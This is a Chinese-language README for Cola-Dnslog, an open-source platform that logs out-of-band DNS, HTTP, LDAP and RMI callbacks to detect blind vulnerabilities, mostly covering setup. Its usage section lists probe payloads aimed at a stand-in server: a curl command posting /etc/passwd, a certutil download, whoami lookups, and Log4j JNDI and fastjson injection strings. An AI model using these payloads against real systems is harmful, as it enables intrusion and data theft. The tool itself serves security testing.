You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
404StarLink/detail/Cola-Dnslog.md

9.7 KiB

Cola-Dnslog https://github.com/AbelChe/cola_dnslog

Language Author GitHub stars Version Time

Cola Dnslog 是一款更加强大的dnslog平台(无回显漏洞探测辅助平台),

  • 完全开源
  • 支持dns http ldap rmi等协议
  • 提供API调用方式便于与其他工具结合
  • 支持钉钉机器人、Bark等提醒
  • 支持docker一键部署

涉及到技术、框架:

dns http ldap rmi webui vue-element-admin fastapi sqlite

可帮助检测漏洞:

log4j2 fastjson ruoyi Spring RCE Blind SQL Bland XXE

特色:

Dingtalk Robot Bark API ldaplog rmilog Docker

🥯 使用方法

假设你购买的域名为example.com

你的vps ip为1.1.1.1

域名

请自行购买域名,并将域名的解析服务器托管至部署cola_dnslog的服务器

以godaddy为例

  1. 配置域名解析处右上角三个点,点击Host Names

image-20220717175903352

  1. 修改或新增主机名如下图所示,ip地址填写你的vps地址即可

image-20220717180002176

  1. 回到dns管理,将域名服务器修改为ns1.example.comns2.example.com

image-20220717180242944

安装部署

因为一些国内网络众所周知的原因,大多数同学使用国内VPS都会卡在前端npm构建的时候,目前暂未找到更好的解决方案,建议使用国外或者网络畅通的VPS搭建。

欢迎大家提issues!

Docker(推荐)

一键启动(推荐)
  1. 下载源码
git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog
  1. 修改docker-compose.yml中environment变量
...
  server:
    ...
    environment:
      DNS_DOMAIN: example.com # 自己的域名
      NS1_DOMAIN: ns1.example.com # ns1绑定
      NS2_DOMAIN: ns2.example.com # ns2绑定
      SERVER_IP: 1.1.1.1 # vps ip
      HTTP_PORT: 80 # httplog服务端口
      HTTP_RESPONSE_SERVER_VERSION: nginx # httplog返回头的服务端信息Server: nginx
      LDAP_PORT: 1389 # ldaplog服务端口
      RMI_PORT: 1099 # rmilog服务端口
    ...
  front:
  	...
    environment:
      API_BASE_URL: 'http://1.1.1.1:28001' # http://vpsip:28001 / http://example.com:28001
    ...

  1. 启动
docker-compose up -d
  1. 启动之后查看docker日志或者查看info.txt获取账号信息

server端程序运行会在程序根目录创建一个info.txt用于记录初始化的账号信息

docker-compose logs
docker exec -it <container_id> cat /coladnslog/info.txt

image-20220812005813825

如果需要自定义端口,请修改docker-compose.yml的端口映射ports即可

前后端分离部署

服务端:

git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog

docker build -t coladnslog_server -f Dockerfile_server .
docker run -itd \
-e DNS_DOMAIN=example.com \
-e NS1_DOMAIN=ns1.example.com \
-e NS2_DOMAIN=ns2.example.com \
-e SERVER_IP=1.1.1.1 \
-e HTTP_PORT=80 \
-e HTTP_RESPONSE_SERVER_VERSION=nginx \
-e LDAP_PORT=1389 \
-e RMI_PORT=1099 \
--net=host \
--name ColaDnslog_server coladnslog_server

客户端:

git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog

sudo docker build --build-arg VERSION=v1.3.2 -t coladnslog_front -f Dockerfile_front .
sudo docker run -itd \
-p 18080:80 \
-e "API_BASE_URL=http://1.2.3.4:28001" \
--name ColaDnslog_front coladnslog_front

源码安装

共分四步

第一步 下载源码

下载源码

git clone https://github.com/Abelche/cola_dnslog.git

我习惯于将服务用tmux放到后台运行

第二步 启动webserver

安装python(python>=3.7)依赖

注意,需要用python3.7及以上版本,否则会有兼容性问题,多python推荐使用conda

cd cola_dnslog
pip install -r requirements.txt

修改根目录下的config.yaml

主要需要修改DNS_DOMAIN NS1_DOMAIN NS2_DOMAIN SERVER_IP

可选: 修改HTTP_RESPONSE_SERVER_VERSION伪造http返回中Server字段

global:
  DB_FILENAME: sqlite.db

logserver:
  DNS_DOMAIN: example.com
  NS1_DOMAIN: ns1.example.com
  NS2_DOMAIN: ns2.example.com
  SERVER_IP: 1.1.1.1
  DNS_PORT: 53
  HTTP_HOST: 0.0.0.0
  HTTP_PORT: 80
  HTTP_RESPONSE_SERVER_VERSION: nginx
  LDAP_HOST: 0.0.0.0
  LDAP_PORT: 1389
  RMI_HOST: 0.0.0.0
  RMI_PORT: 1099

webserver:
  HOST: 0.0.0.0
  PORT: 28001
  PASSWORD_SALT: 随便一长串字符串,如:cuau89j2iifdas8

启动webserber端和logserver端,注意这里一定要先启动webserver端(因为要先通过webserver端初始化数据库,初始化之后会在终端输出账号、密码、token、logid等信息。

chmod +x start_webserver
./start_webserver

image-20220730035846090

第三步 启动logserver(需要root权限)
chmod +x start_logserver
sudo ./start_logserver

image-20220730160132103

第四步 启动前端

现在来到前端(不一定要和webserver放在一起,你甚至可以通过electron打包成本地客户端),先修改配置文件.env.production

cd src/front
vim .env.production
# just a flag
ENV = 'production'

# base api
VUE_APP_BASE_API = 'http://1.1.1.1:28001'

TARGET_API = 'http://1.1.1.1:28001'

然后npm安装依赖、打包、启动http服务(这里可以随意选择http服务器,为了方便我直接用python启动)

cd src/front
npm install
npm run build:prod

cd dist
python3 -m http.server 18001

至此,三端(webserver端、logserver端、webui前端)已经全部开启!

这时,访问http://1.1.1.1:18001应该可以看到登录页面!

玩得开心!

钉钉机器人

在钉钉群新建机器人,安全设置:添加自定义关键词coladnslog

image-20220731231424000

并获取到webhook的token,注意,只需要填写token即可

image-20220731231912885

进入webui,修改Dingtalk Robot Token为上文获取的token,点击Update保存即可

image-20220802020311279

效果如下:

image-20220731231301577

Bark

Finb/Bark: Bark is an iOS App which allows you to push custom notifications to your iPhone (github.com)

Finb/bark-server: Backend of Bark (github.com)

同上 进入webui,开启Bark开关,然后修改bark url,点击Update保存

image-20220802015907678

效果如下:

image-20220802015642879

如何使用

上文提到,假定我的域名和ip是example.com1.1.1.1,并且我们账户的logid为qrq

DNS

nsloopup `whoami`.qrq.example.com
ping `whoami`.qrq.example.com

HTTP

curl 1.1.1.1/qrq/some/info
curl -d @/etc/passwd 1.1.1.1/qrq/postdata
certutil -urlcache -split -f http://1.1.1.1/x x

LDAP

log4j2 fastjson等可以使用此方法

注意这里必须要令最后路径的最后作为logid,如:ldapqrq xxxxqrq qrq xxx/qrq

${jndi:ldap://1.1.1.1:1389/ldapqrq}
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://1.1.1.1:1389/ldapqrq", "autoCommit":true}

RMI

同上,log4j2 fastjson等

${jndi:rmi://1.1.1.1:1099/rmiqrq}
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://1.1.1.1:1099/rmiqrq", "autoCommit":true } }

👀 概览

登录

image-20220730151326711

首页

image-20220731143149729

Dnslog

image-20230204200108337

Httplog

image-20230204200455783

Ldaplog

image-20230204201704004

Rmilog

image-20230204201750497

账号信息

image-20220801003540673

钉钉机器人

image-20220731231301577

Bark

image-20220802015642879

项目相关

最近更新